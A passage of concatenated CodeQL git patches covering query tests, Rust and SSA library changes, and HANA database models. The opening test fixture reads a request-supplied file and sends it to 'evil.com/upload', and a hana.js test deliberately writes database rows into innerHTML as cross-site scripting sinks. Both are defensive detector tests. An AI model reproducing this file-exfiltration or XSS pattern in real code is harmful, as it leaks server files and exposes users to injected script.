b/javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js @@ -29,10 +29,10 @@ const fsp = require("fs").promises; app.post('/readv', async (req, res) => { const { filename } = req.body; - const fd = await fs.open(filename, 'r'); + const fd = await fsp.open(filename, 'r'); const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http] - const { bytesRead } = fs.readvSync(fd, buffer); + const bytesRead = fs.readvSync(fd, buffer); https.get({ hostname: "evil.com", path: "/upload", @@ -41,7 +41,7 @@ app.post('/readv', async (req, res) => { }, () => { }); // $ Alert[js/file-access-to-http] const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http] - const { bytesRead1 } = fs.readvSync(fd, [buffer1]); + const bytesRead1 = fs.readvSync(fd, [buffer1]); https.get({ hostname: "evil.com", path: "/upload", From 0d1ac7789b13f3b9f4ed2cdecf5c08e89796572b Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 28 Mar 2025 13:27:56 +0100 Subject: [PATCH 120/282] SSA/Ruby: Address review comments. --- ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll | 4 ++++ shared/ssa/codeql/ssa/Ssa.qll | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll index b34577602f7..3c1da6f3013 100644 --- a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll +++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll @@ -479,6 +479,10 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu Expr getARead(Definition def) { result = Cached::getARead(def) } + predicate ssaDefHasSource(WriteDefinition def) { + any(ParameterExt p).isInitializedBy(def) or def.(Ssa::WriteDefinition).assigns(_) + } + class Guard extends Cfg::CfgNodes::AstCfgNode { /** * Holds if the control flow branching from `bb1` is dependent on this guard, diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 0e70740576f..2bbdb6e2a47 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1690,7 +1690,7 @@ module Make Input> { /** Gets the underlying definition. */ WriteDefinition getDefinition() { result = def } - override string toString() { result = def.toString() } + override string toString() { result = "[source] " + def.toString() } override Location getLocation() { result = def.getLocation() } } From 989c14485dbef4880ac8d6cb44580e572b5c80ed Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Fri, 28 Mar 2025 13:39:42 +0100 Subject: [PATCH 121/282] Rust: Minor doc tweaks based on PR comments --- .../codeql/typeinference/internal/TypeInference.qll | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index 8e9a83f2bb7..c8eabda8872 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -344,7 +344,6 @@ module Make1 Input1> { ) } - /** Similar to `baseTypeMentionHasTypeAt` but FIXME: */ pragma[inline] predicate baseTypeMentionHasNonTypeParameterAt( Type sub, TypeMention baseMention, TypePath path, Type t @@ -527,7 +526,7 @@ module Make1 Input1> { private module AccessBaseType { /** * Holds if inferring types at `a` might depend on the type at `path` of - * `apos` having `base` as a transitive base type mention. + * `apos` having `base` as a transitive base type. */ private predicate relevantAccess(Access a, AccessPosition apos, TypePath path, Type base) { exists(Declaration target, DeclarationPosition dpos | From f3af23e855dbd296350aebce1d01887d9590f121 Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 13:29:18 +0100 Subject: [PATCH 122/282] Refactored hana's DB client to use `GuardedRouteHandler`, improving precision. --- javascript/ql/lib/ext/hana-db-client.model.yml | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/ext/hana-db-client.model.yml b/javascript/ql/lib/ext/hana-db-client.model.yml index f6e177d74ae..c30d38a751b 100644 --- a/javascript/ql/lib/ext/hana-db-client.model.yml +++ b/javascript/ql/lib/ext/hana-db-client.model.yml @@ -4,7 +4,13 @@ extensions: extensible: sinkModel data: - ["@sap/hana-client", "Member[createConnection].ReturnValue.Member[exec,prepare].Argument[0]", "sql-injection"] - - ["hdb", "Member[createClient].ReturnValue.Member[exec,prepare,execute].Argument[0]", "sql-injection"] + - ["hdb.Client", "Member[exec,prepare,execute].Argument[0]", "sql-injection"] - ["@sap/hdbext", "Member[loadProcedure].Argument[2]", "sql-injection"] - ["@sap/hana-client/extension/Stream", "Member[createProcStatement].Argument[1]", "sql-injection"] - - ["express", "ReturnValue.Member[get].Argument[1].Parameter[0].Member[db].Member[exec].Argument[0]", "sql-injection"] + + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["hdb.Client", "hdb", "Member[createClient].ReturnValue"] + - ["hdb.Client", "@sap/hdbext", "Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[db]"] From 00753a1fe40a8de525d54e77163ba904166f4b9c Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 28 Mar 2025 14:41:59 +0100 Subject: [PATCH 123/282] C#: Address review comments. --- .../stringinterpolation/stringInterpolation.ql | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.ql b/csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.ql index 21b33b12b56..f4d68385810 100644 --- a/csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.ql +++ b/csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.ql @@ -1,11 +1,9 @@ import csharp -query predicate inserts(InterpolatedStringExpr expr, Expr e) { - expr.getAnInsert() = e // and inSpecificSource(expr) -} +query predicate inserts(InterpolatedStringExpr expr, Expr e) { expr.getAnInsert() = e } query predicate texts(InterpolatedStringExpr expr, StringLiteral literal) { - expr.getAText() = literal // and inSpecificSource(expr) + expr.getAText() = literal } query predicate interpolationInsertsWithAlign(InterpolatedStringExpr expr, Expr insert, Expr align) { From d0e2aa8192347b6aa98bb89875e7f1a7bd866fa1 Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 14:07:10 +0100 Subject: [PATCH 124/282] Added sources from `hana` db as `MaD`. --- javascript/ql/lib/ext/hana-db-client.model.yml | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/javascript/ql/lib/ext/hana-db-client.model.yml b/javascript/ql/lib/ext/hana-db-client.model.yml index c30d38a751b..1a6b1e8425a 100644 --- a/javascript/ql/lib/ext/hana-db-client.model.yml +++ b/javascript/ql/lib/ext/hana-db-client.model.yml @@ -14,3 +14,14 @@ extensions: data: - ["hdb.Client", "hdb", "Member[createClient].ReturnValue"] - ["hdb.Client", "@sap/hdbext", "Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[db]"] + + - addsTo: + pack: codeql/javascript-all + extensible: sourceModel + data: + - ['@sap/hana-client', 'Member[createConnection].ReturnValue.Member[exec].Argument[1].Parameter[1]', 'database-access-result'] + - ['@sap/hana-client', 'Member[createConnection].ReturnValue.Member[prepare].ReturnValue.Member[execBatch,exec,execQuery].Argument[1].Parameter[1]', 'database-access-result'] + - ['hdb.Client', 'Member[exec,execute].Argument[1..2].Parameter[1]', 'database-access-result'] + - ['hdb.Client', 'Member[prepare].Argument[1].Parameter[1].Member[exec].Argument[1].Parameter[2..]', 'database-access-result'] + - ["@sap/hana-client/extension/Stream", "Member[createProcStatement].Argument[2].Parameter[1].Member[exec].Argument[1].Parameter[2..]", "database-access-result"] + - ['@sap/hdbext', 'Member[loadProcedure].Argument[3].Parameter[1].Argument[2].Parameter[2..]', 'database-access-result'] From 45c8ec96df5b16e7d33a7f87d0b034efe3a88916 Mon Sep 17 00:00:00 2001 From: Napalys Date: Fri, 28 Mar 2025 15:02:03 +0100 Subject: [PATCH 125/282] Added test cases for `hana` db additional sources. --- .../XssWithAdditionalSources.expected | 56 +++++++++++ .../Security/CWE-079/DomBasedXss/hana.js | 93 +++++++++++++++++++ 2 files changed, 149 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/hana.js diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected index eb961fc83db..ed2611a11e3 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected @@ -153,6 +153,34 @@ nodes | event-handler-receiver.js:2:31:2:83 | '

    ' | semmle.label | '

    ' | | event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href | | express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") | +| hana.js:11:37:11:40 | rows | semmle.label | rows | +| hana.js:11:37:11:51 | rows[0].comment | semmle.label | rows[0].comment | +| hana.js:16:37:16:40 | rows | semmle.label | rows | +| hana.js:16:37:16:51 | rows[0].comment | semmle.label | rows[0].comment | +| hana.js:19:37:19:40 | rows | semmle.label | rows | +| hana.js:19:37:19:51 | rows[0].comment | semmle.label | rows[0].comment | +| hana.js:22:37:22:38 | rs | semmle.label | rs | +| hana.js:22:37:22:49 | rs[0].comment | semmle.label | rs[0].comment | +| hana.js:38:31:38:32 | rs | semmle.label | rs | +| hana.js:38:31:38:43 | rs[0].comment | semmle.label | rs[0].comment | +| hana.js:43:33:43:41 | dummyRows | semmle.label | dummyRows | +| hana.js:43:33:43:52 | dummyRows[0].comment | semmle.label | dummyRows[0].comment | +| hana.js:44:33:44:42 | tablesRows | semmle.label | tablesRows | +| hana.js:44:33:44:53 | tablesR ... comment | semmle.label | tablesR ... comment | +| hana.js:50:33:50:41 | dummyRows | semmle.label | dummyRows | +| hana.js:50:33:50:52 | dummyRows[0].comment | semmle.label | dummyRows[0].comment | +| hana.js:51:33:51:42 | tablesRows | semmle.label | tablesRows | +| hana.js:51:33:51:53 | tablesR ... comment | semmle.label | tablesR ... comment | +| hana.js:70:33:70:36 | rows | semmle.label | rows | +| hana.js:70:33:70:47 | rows[0].comment | semmle.label | rows[0].comment | +| hana.js:73:33:73:36 | rows | semmle.label | rows | +| hana.js:73:33:73:47 | rows[0].comment | semmle.label | rows[0].comment | +| hana.js:84:35:84:43 | dummyRows | semmle.label | dummyRows | +| hana.js:84:35:84:54 | dummyRows[0].comment | semmle.label | dummyRows[0].comment | +| hana.js:85:35:85:43 | tableRows | semmle.label | tableRows | +| hana.js:85:35:85:54 | tableRows[0].comment | semmle.label | tableRows[0].comment | +| hana.js:90:33:90:34 | rs | semmle.label | rs | +| hana.js:90:33:90:45 | rs[0].comment | semmle.label | rs[0].comment | | jquery.js:2:7:2:40 | tainted | semmle.label | tainted | | jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search | | jquery.js:4:5:4:11 | tainted | semmle.label | tainted | @@ -791,6 +819,20 @@ edges | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:71:13:71:61 | droppedHtml | provenance | | | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | provenance | | | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | provenance | Config | +| hana.js:11:37:11:40 | rows | hana.js:11:37:11:51 | rows[0].comment | provenance | | +| hana.js:16:37:16:40 | rows | hana.js:16:37:16:51 | rows[0].comment | provenance | | +| hana.js:19:37:19:40 | rows | hana.js:19:37:19:51 | rows[0].comment | provenance | | +| hana.js:22:37:22:38 | rs | hana.js:22:37:22:49 | rs[0].comment | provenance | | +| hana.js:38:31:38:32 | rs | hana.js:38:31:38:43 | rs[0].comment | provenance | | +| hana.js:43:33:43:41 | dummyRows | hana.js:43:33:43:52 | dummyRows[0].comment | provenance | | +| hana.js:44:33:44:42 | tablesRows | hana.js:44:33:44:53 | tablesR ... comment | provenance | | +| hana.js:50:33:50:41 | dummyRows | hana.js:50:33:50:52 | dummyRows[0].comment | provenance | | +| hana.js:51:33:51:42 | tablesRows | hana.js:51:33:51:53 | tablesR ... comment | provenance | | +| hana.js:70:33:70:36 | rows | hana.js:70:33:70:47 | rows[0].comment | provenance | | +| hana.js:73:33:73:36 | rows | hana.js:73:33:73:47 | rows[0].comment | provenance | | +| hana.js:84:35:84:43 | dummyRows | hana.js:84:35:84:54 | dummyRows[0].comment | provenance | | +| hana.js:85:35:85:43 | tableRows | hana.js:85:35:85:54 | tableRows[0].comment | provenance | | +| hana.js:90:33:90:34 | rs | hana.js:90:33:90:45 | rs[0].comment | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:4:5:4:11 | tainted | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:5:13:5:19 | tainted | provenance | | | jquery.js:2:7:2:40 | tainted | jquery.js:6:11:6:17 | tainted | provenance | | @@ -1274,6 +1316,20 @@ subpaths | various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | various-concat-obfuscations.js:17:24:17:28 | attrs | various-concat-obfuscations.js:18:10:18:105 | '
    ') | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) | | various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | various-concat-obfuscations.js:17:24:17:28 | attrs | various-concat-obfuscations.js:18:10:18:105 | '
    ') [ArrayElement] | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) | #select +| hana.js:11:37:11:51 | rows[0].comment | hana.js:11:37:11:40 | rows | hana.js:11:37:11:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:11:37:11:40 | rows | user-provided value | +| hana.js:16:37:16:51 | rows[0].comment | hana.js:16:37:16:40 | rows | hana.js:16:37:16:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:16:37:16:40 | rows | user-provided value | +| hana.js:19:37:19:51 | rows[0].comment | hana.js:19:37:19:40 | rows | hana.js:19:37:19:51 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:19:37:19:40 | rows | user-provided value | +| hana.js:22:37:22:49 | rs[0].comment | hana.js:22:37:22:38 | rs | hana.js:22:37:22:49 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:22:37:22:38 | rs | user-provided value | +| hana.js:38:31:38:43 | rs[0].comment | hana.js:38:31:38:32 | rs | hana.js:38:31:38:43 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:38:31:38:32 | rs | user-provided value | +| hana.js:43:33:43:52 | dummyRows[0].comment | hana.js:43:33:43:41 | dummyRows | hana.js:43:33:43:52 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:43:33:43:41 | dummyRows | user-provided value | +| hana.js:44:33:44:53 | tablesR ... comment | hana.js:44:33:44:42 | tablesRows | hana.js:44:33:44:53 | tablesR ... comment | Cross-site scripting vulnerability due to $@. | hana.js:44:33:44:42 | tablesRows | user-provided value | +| hana.js:50:33:50:52 | dummyRows[0].comment | hana.js:50:33:50:41 | dummyRows | hana.js:50:33:50:52 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:50:33:50:41 | dummyRows | user-provided value | +| hana.js:51:33:51:53 | tablesR ... comment | hana.js:51:33:51:42 | tablesRows | hana.js:51:33:51:53 | tablesR ... comment | Cross-site scripting vulnerability due to $@. | hana.js:51:33:51:42 | tablesRows | user-provided value | +| hana.js:70:33:70:47 | rows[0].comment | hana.js:70:33:70:36 | rows | hana.js:70:33:70:47 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:70:33:70:36 | rows | user-provided value | +| hana.js:73:33:73:47 | rows[0].comment | hana.js:73:33:73:36 | rows | hana.js:73:33:73:47 | rows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:73:33:73:36 | rows | user-provided value | +| hana.js:84:35:84:54 | dummyRows[0].comment | hana.js:84:35:84:43 | dummyRows | hana.js:84:35:84:54 | dummyRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:84:35:84:43 | dummyRows | user-provided value | +| hana.js:85:35:85:54 | tableRows[0].comment | hana.js:85:35:85:43 | tableRows | hana.js:85:35:85:54 | tableRows[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:85:35:85:43 | tableRows | user-provided value | +| hana.js:90:33:90:45 | rs[0].comment | hana.js:90:33:90:34 | rs | hana.js:90:33:90:45 | rs[0].comment | Cross-site scripting vulnerability due to $@. | hana.js:90:33:90:34 | rs | user-provided value | | jwt.js:6:14:6:20 | decoded | jwt.js:4:36:4:39 | data | jwt.js:6:14:6:20 | decoded | Cross-site scripting vulnerability due to $@. | jwt.js:4:36:4:39 | data | user-provided value | | typeahead.js:10:16:10:18 | loc | typeahead.js:9:28:9:30 | loc | typeahead.js:10:16:10:18 | loc | Cross-site scripting vulnerability due to $@. | typeahead.js:9:28:9:30 | loc | user-provided value | | xmlRequest.js:9:28:9:39 | json.message | xmlRequest.js:8:31:8:46 | xhr.responseText | xmlRequest.js:9:28:9:39 | json.message | Cross-site scripting vulnerability due to $@. | xmlRequest.js:8:31:8:46 | xhr.responseText | user-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/hana.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/hana.js new file mode 100644 index 00000000000..ef7c9cd71eb --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/hana.js @@ -0,0 +1,93 @@ +const hana = require('@sap/hana-client'); +const express = require('express'); + +const app = express(); +const connectionParams = {}; +const query = ``; +app.post('/documents/find', (req, res) => { + const conn = hana.createConnection(); + conn.connect(connectionParams, (err) => { + conn.exec(query, (err, rows) => { + document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + + const stmt = conn.prepare(query); + stmt.exec([0], (err, rows) => { + document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + stmt.execBatch([[1, "a"], [2, "b"]], function(err, rows) { + document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + stmt.execQuery([100, "a"], function(err, rs) { + document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + }); +}); + +var hdbext = require('@sap/hdbext'); +var express = require('express'); +var dbStream = require('@sap/hana-client/extension/Stream'); + +var app1 = express(); +const hanaConfig = {}; +app1.use(hdbext.middleware(hanaConfig)); + +app1.get('/execute-query', function (req, res) { + var client = req.db; + client.exec(query, function (err, rs) { + document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + + dbStream.createProcStatement(client, query, function (err, stmt) { + stmt.exec({ A: 1, B: 4 }, function (err, params, dummyRows, tablesRows) { + document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + document.body.innerHTML = tablesRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + }); + + hdbext.loadProcedure(client, null, query, function(err, sp) { + sp(3, maliciousInput, function(err, parameters, dummyRows, tablesRows) { + document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + document.body.innerHTML = tablesRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + }); +}); + + +var hdb = require('hdb'); +const async = require('async'); +const { q } = require('underscore.string'); + +const options = {}; +const app2 = express(); + +app2.post('/documents/find', (req, res) => { + var client = hdb.createClient(options); + + client.connect(function onconnect(err) { + + client.exec(query, function (err, rows) { + document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + client.exec(query, options, function(err, rows) { + document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + + client.prepare(query, function (err, statement){ + statement.exec([1], function (err, rows) { + document.body.innerHTML = rows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + }); + + client.prepare(query, function(err, statement){ + statement.exec({A: 3, B: 1}, function(err, parameters, dummyRows, tableRows) { + document.body.innerHTML = dummyRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + document.body.innerHTML = tableRows[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + }); + + client.execute(query, function(err, rs) { + document.body.innerHTML = rs[0].comment; // $ Alert[js/xss-additional-sources-dom-test] + }); + }); +}); From 605cf359706695f0dbba46c411a393861297d9bf Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Thu, 27 Mar 2025 15:10:25 +0100 Subject: [PATCH 126/282] Rust: More path resolution improvements --- .../codeql/rust/internal/PathResolution.qll | 101 ++++++++++++++---- .../library-tests/path-resolution/main.rs | 2 +- .../test/library-tests/path-resolution/my.rs | 2 +- .../path-resolution/path-resolution.expected | 2 + 4 files changed, 84 insertions(+), 23 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 2128bb8e7a8..ae4ed9cf726 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -116,7 +116,7 @@ abstract class ItemNode extends Locatable { } pragma[nomagic] - private ItemNode getASuccessorRec(string name) { + ItemNode getASuccessorRec(string name) { sourceFileEdge(this, name, result) or this = result.getImmediateParent() and @@ -613,11 +613,11 @@ private predicate fileModule(SourceFile f, string name, Folder folder) { } /** - * Holds if `m` is a `mod name;` module declaration happening in a file named - * `fileName.rs`, inside the folder `parent`. + * Holds if `m` is a `mod name;` module declaration, where the corresponding + * module file needs to be looked up in `lookup` or one of its descandants. */ -private predicate modImport(Module m, string fileName, string name, Folder parent) { - exists(File f | +private predicate modImport0(Module m, string name, Folder lookup) { + exists(File f, Folder parent, string fileName | f = m.getFile() and not m.hasItemList() and // TODO: handle @@ -629,17 +629,63 @@ private predicate modImport(Module m, string fileName, string name, Folder paren name = m.getName().getText() and parent = f.getParentContainer() and fileName = f.getStem() + | + // sibling import + lookup = parent and + ( + m.getFile() = any(CrateItemNode c).getModuleNode().(SourceFileItemNode).getFile() + or + m.getFile().getBaseName() = "mod.rs" + ) + or + // child import + lookup = parent.getFolder(fileName) + ) +} + +/** + * Holds if `m` is a `mod name;` module declaration, which happens inside a + * nested module, and `pred -> succ` is a module edge leading to `m`. + */ +private predicate modImportNested(ModuleItemNode m, ModuleItemNode pred, ModuleItemNode succ) { + pred.getAnItemInScope() = succ and + ( + modImport0(m, _, _) and + succ = m + or + modImportNested(m, succ, _) + ) +} + +/** + * Holds if `m` is a `mod name;` module declaration, which happens inside a + * nested module, where `ancestor` is a reflexive transitive ancestor module + * of `m` with corresponding lookup folder `lookup`. + */ +private predicate modImportNestedLookup(Module m, ModuleItemNode ancestor, Folder lookup) { + modImport0(m, _, lookup) and + modImportNested(m, ancestor, _) and + not modImportNested(m, _, ancestor) + or + exists(ModuleItemNode m1, Folder mid | + modImportNestedLookup(m, m1, mid) and + modImportNested(m, m1, ancestor) and + lookup = mid.getFolder(m1.getName()) ) } /** Holds if `m` is a `mod name;` item importing file `f`. */ private predicate fileImport(Module m, SourceFile f) { - exists(string fileName, string name, Folder parent | modImport(m, fileName, name, parent) | - // sibling import + exists(string name, Folder parent | + modImport0(m, name, _) and fileModule(f, name, parent) + | + // `m` is not inside a nested module + modImport0(m, name, parent) and + not modImportNested(m, _, _) or - // child import - fileModule(f, name, parent.getFolder(fileName)) + // `m` is inside a nested module + modImportNestedLookup(m, m, parent) ) } @@ -651,7 +697,7 @@ pragma[nomagic] private predicate fileImportEdge(Module mod, string name, ItemNode item) { exists(SourceFileItemNode f | fileImport(mod, f) and - item = f.getASuccessor(name) + item = f.getASuccessorRec(name) ) } @@ -660,7 +706,7 @@ private predicate fileImportEdge(Module mod, string name, ItemNode item) { */ pragma[nomagic] private predicate crateDefEdge(CrateItemNode c, string name, ItemNode i) { - i = c.getModuleNode().getASuccessor(name) and + i = c.getModuleNode().getASuccessorRec(name) and not i instanceof Crate } @@ -742,7 +788,16 @@ private predicate unqualifiedPathLookup(RelevantPath p, string name, Namespace n // lookup in an outer scope, but only if the item is not declared in inner scope exists(ItemNode mid | unqualifiedPathLookup(p, name, ns, mid) and - not declares(mid, ns, name) + not declares(mid, ns, name) and + not name = ["super", "self"] and + not ( + name = "Self" and + mid = any(ImplOrTraitItemNode i).getAnItemInSelfScope() + ) and + not ( + name = "crate" and + mid = any(CrateItemNode i).getASourceFile() + ) | // nested modules do not have unqualified access to items from outer modules, // except for items declared at top-level in the source file @@ -943,15 +998,19 @@ private predicate useImportEdge(Use use, string name, ItemNode item) { encl.getADescendant() = use and item = getASuccessor(used, name, ns) and // glob imports can be shadowed - not declares(encl, ns, name) + not declares(encl, ns, name) and + not name = ["super", "self", "Self", "crate"] ) - else item = used - | - not tree.hasRename() and - name = item.getName() - or - name = tree.getRename().getName().getText() and - name != "_" + else ( + item = used and + ( + not tree.hasRename() and + name = item.getName() + or + name = tree.getRename().getName().getText() and + name != "_" + ) + ) ) } @@ -961,7 +1020,7 @@ private module Debug { exists(string filepath, int startline, int startcolumn, int endline, int endcolumn | result.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) and filepath.matches("%/main.rs") and - startline = 1 + startline = [1, 3] ) } diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index 6b2052a1b3c..374f290b00e 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -518,6 +518,6 @@ fn main() { nested6::f(); // $ item=I116 nested8::f(); // $ item=I119 my3::f(); // $ item=I200 - nested_f(); // $ MISSING: item=I201 + nested_f(); // $ item=I201 m18::m19::m20::g(); // $ item=I103 } diff --git a/rust/ql/test/library-tests/path-resolution/my.rs b/rust/ql/test/library-tests/path-resolution/my.rs index 487b0e78769..2dcb1c76aeb 100644 --- a/rust/ql/test/library-tests/path-resolution/my.rs +++ b/rust/ql/test/library-tests/path-resolution/my.rs @@ -15,4 +15,4 @@ mod my4 { pub mod my5; } -pub use my4::my5::f as nested_f; // $ MISSING: item=I201 +pub use my4::my5::f as nested_f; // $ item=I201 diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 6bf3f656734..235ad7451c5 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -270,6 +270,7 @@ resolvePath | main.rs:519:5:519:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | | main.rs:520:5:520:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | | main.rs:520:5:520:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | +| main.rs:521:5:521:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | | main.rs:522:5:522:7 | m18 | main.rs:476:1:494:1 | mod m18 | | main.rs:522:5:522:12 | ...::m19 | main.rs:481:5:493:5 | mod m19 | | main.rs:522:5:522:17 | ...::m20 | main.rs:486:9:492:9 | mod m20 | @@ -296,6 +297,7 @@ resolvePath | my.rs:11:5:11:5 | g | my/nested.rs:19:1:22:1 | fn g | | my.rs:18:9:18:11 | my4 | my.rs:14:1:16:1 | mod my4 | | my.rs:18:9:18:16 | ...::my5 | my.rs:15:5:15:16 | mod my5 | +| my.rs:18:9:18:19 | ...::f | my/my4/my5/mod.rs:1:1:3:1 | fn f | | my/nested.rs:9:13:9:13 | f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:15:9:15:15 | nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:15:9:15:18 | ...::f | my/nested.rs:3:9:5:9 | fn f | From 52b889f008c310ac3bc03f56d4310559f6d5a342 Mon Sep 17 00:00:00 2001 From: Edward Minnix III Date: Sat, 8 Mar 2025 17:16:22 -0500 Subject: [PATCH 127/282] Support when a property is specified by a string literal instead of a `nameof` expression In earlier versions of the Razor generator, a string literal was used instead of a `nameof` expression in order to indicate the name of the property being modified. This means we need to look up the property by name instead of using a more explicit access. --- .../csharp/frameworks/microsoft/aspnetcore/Components.qll | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll index be937661b47..5fb79418c27 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll @@ -159,7 +159,13 @@ private module JumpNodes { */ Property getParameterProperty() { result.getAnAttribute() instanceof MicrosoftAspNetCoreComponentsParameterAttribute and - exists(NameOfExpr ne | ne = this.getArgument(1) | result.getAnAccess() = ne.getAccess()) + ( + exists(NameOfExpr ne | ne = this.getArgument(1) | result.getAnAccess() = ne.getAccess()) + or + exists(string propertyName | propertyName = this.getArgument(1).(StringLiteral).getValue() | + result.hasName(propertyName) + ) + ) } /** From 3d0a85b3cd5a608e964e865dffe27d16a0f636c8 Mon Sep 17 00:00:00 2001 From: Edward Minnix III Date: Sat, 8 Mar 2025 17:18:15 -0500 Subject: [PATCH 128/282] Add test case using string literal in property name --- .../microsoft/aspnetcore/blazor/NameList2.cs | 50 +++++++++++++++++++ 